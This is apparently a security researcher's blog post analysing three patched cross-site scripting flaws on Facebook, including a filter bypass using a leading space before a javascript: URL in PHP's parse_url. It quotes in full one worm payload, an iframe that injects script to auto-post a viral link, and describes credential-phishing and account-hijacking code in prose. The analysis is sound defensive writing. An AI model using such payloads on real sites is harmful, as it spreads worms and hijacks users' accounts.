A few weeks ago, three separate cross-site scripting
(XSS) vulnerabilities on Facebook sites were uncovered within a period
of about 10 days. At least two of these holes were used to launch viral
links or attacks on users – and it’s clear that attacks against Facebook
users are becoming increasingly sophisticated.
The first issue came from a page on the mobile version of Facebook’s
site. The interface was a prompt for posting stories to a user’s wall,
and the parameter for the text of the prompt did not properly escape
output. On March 28, a blogger identifying themselves as “Joy
CrazyDaVinci”
posted
code that demonstrated how the vulnerability could be used to
spread viral links:
<iframe id=”CrazyDaVinci” style=”display:none;”
src=”http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=’<script>window.onload=function(){document.forms[0].message.value=’Just visited http://y.ahoo.it/gajeBA Wow.. cool!
nice page dude!!!‘;document.forms[0].submit();}</script>”></iframe>
This bit of HTML would be included in a viral page. The code sets the
content of the wall post to a message that includes a link to a viral
page, then submits the prompt automatically. Anyone clicking the link
would get the same code executed on their account. The viral page could
be used for malware distribution or phishing attacks, but in most cases
where I saw this trick used, the page simply loaded advertisements or
“offer spam”.
By the next day, several links were spreading virally and
caught
the attention of security researchers. Facebook moved quickly to
patch the issue, and Crazy DaVinci issued
an
apology for the example code, explaining that versions of it had
actually been circulating for several days prior and that the
demonstration was intended to push Facebook for a fix.
On April 3, another XSS problem
came
to light, this time with a Facebook “channel” page used for session
management. Both another security researcher and I had previously
looked at this interface and found it properly escaped, so it’s likely a
code update mistakenly changed the page’s behavior. Facebook again
patched the problem soon after news of it spread.
I didn’t observe any viral exploitation of the second vulnerability
in the wild, but after the first problem came to light, I noted that it
was mostly used to submit a form already on the page for posting links.
The payload made use of functionality within the vulnerable page, but
XSS allows an attacker to do far more. I wondered when we might see a
Facebook attack that made greater use of cross-site scripting’s
potential.
What a Difference a Space Makes
I didn’t have to wait long. On April ,I got word via Twitter of a
Facebook app that had live XSS, but the app had disappeared before I got
to see it in action. At first, I thought this was yet another case of
XSS within the context of a Facebook app. But I soon found other version
of the app which were still online, and I quickly realized this was
actually an XSS problem with the Facebook Platform. Also, the XSS
payload being used did much more than submit a form.
The attack used FBML-based Facebook apps, which render in the context
of an apps.facebook.com page. Normally, Facebook filters code to
prevent any scripts from directly modifying the page’s DOM, but the XSS
problem gave attackers a bypass. When a user visited the app page, they
would see what appeared to be a fairly benign page with a popular video.
Unlike many Facebook page scams, the promised video actually works –
if you click play, the video will load and nothing unusual seems to
happen. But as the code screenshot below reveals, that click does much
more than load the video.
When the page first loads, the “video” is actually just an image
placeholder with a link. Part of the href parameter for that link is
shown above. Note the space after the opening quotation mark – that’s
where the XSS comes in. Normally, Facebook would block a link to a
javascript: URL. Adding the space worked around Facebook’s filters, but
the browser would still execute the rest of parameter.
According to Facebook, it turned out that some older code was using
PHP’s built-in parse_url function to determine allowable URLs. For
example, while parse_url(“javascript:alert(1)”) yields a scheme of
“javascript” and a path of “alert(1)”, adding whitespace gives a
different result: parse_url(” javascript:alert(1)”) does not return a
scheme and has a path of “javascript:alert(1)”. Other PHP developers
should take note of the difference if parse_url is being used in
security-related code.
A More Advanced Attack
Clicking the link executed an inline script that in turn added a
script element to the page. This loaded more code from a remote address
and included several parameters in the GET request. The parameters set
variables within the remote code that specified what video to load, what
URLs to use for viral posts, and so on. Multiple Facebook apps and
domains were used for the viral links, but the main script always came
from the same host. This helped the attack persist, since blocking one
site would not stop it and the central code was loaded dynamically.
The remote code handled actually loading the video, but also included
a number of functions which make use of having script access in a
facebook.com context. The script would set the user as attending spam
events, invite friends to those events, “like” a viral link, and even
send IMs to friends using Facebook Chat.
When I came across the attack, one block of code had been commented
out, but one blogger
discovered
a version of the attack a few days prior and saw it in action. This
part loaded a fake login form which actually sent the entered username
and password to a log interface on the attacker’s server. (Remember,
this phishing form would appear in the context of a page with typical
Facebook chrome.) Since the attack page would load even if a user was
not logged in to Facebook, this could have also been a way to make sure a
session was available before launching the other functions.
Fake videos and viral links are nothing new on Facebook, but most of
these scams tend to be fairly simple. In fact, it’s not hard to find
forums where people offer boilerplate code for launching such schemes –
much like the first XSS worm above which simply submitted a form. But
the April XSS attack involved multiple domains, multiple user accounts,
and multiple methods for spreading and hijacking user accounts. And it
still only scratched the surface of what’s possible with an XSS
vulnerability. I expect we’ll see more XSS-based attacks and more
powerful payloads in the future.
Postscript on Real-Time Research
I came across the April attack late one afternoon as I was preparing
to leave work… so I could present on XSS at a local OWASP meeting! Those
following me on Twitter saw a somewhat frantic stream of tweets as I
tried to find live examples of the attack and sorted through the code
while closely watching the clock and wrapping up last-minute
presentation details. Earlier this week, I did some searching to review
information for this post, and I came across this article from eWEEK: “
Facebook
Bully Video Actually an XSS Exploit“.
I was a bit surprised by it, as I hadn’t known about it before and
saw that it quoted me. I then realized it was quoting my tweets! I then
read that I had “confirmed to eWEEK on Twitter” one aspect of the story.
At first I was confused, but then remembered that during my flood of
tweeting, another user had sent an @ reply asking about the very detail
the story talked about. Checking that tweet again, I found out the
question had come from the article’s author.
I relate all this not because any of it bothered me, simply because
(1) I found it somewhat fascinating that a few quick Twitter updates
could become the primary source for a news article and
(2) I was humbled
to realize that a few quick Twitter updates could become the primary
source for a news article! While it’s great that a story can spread so
fast, it was certainly gave me a reminder to be careful when discussing
topics of interest on a public forum.
But I’m glad I can do my part in
helping raise awareness of online dangers, particular the implications
of XSS.
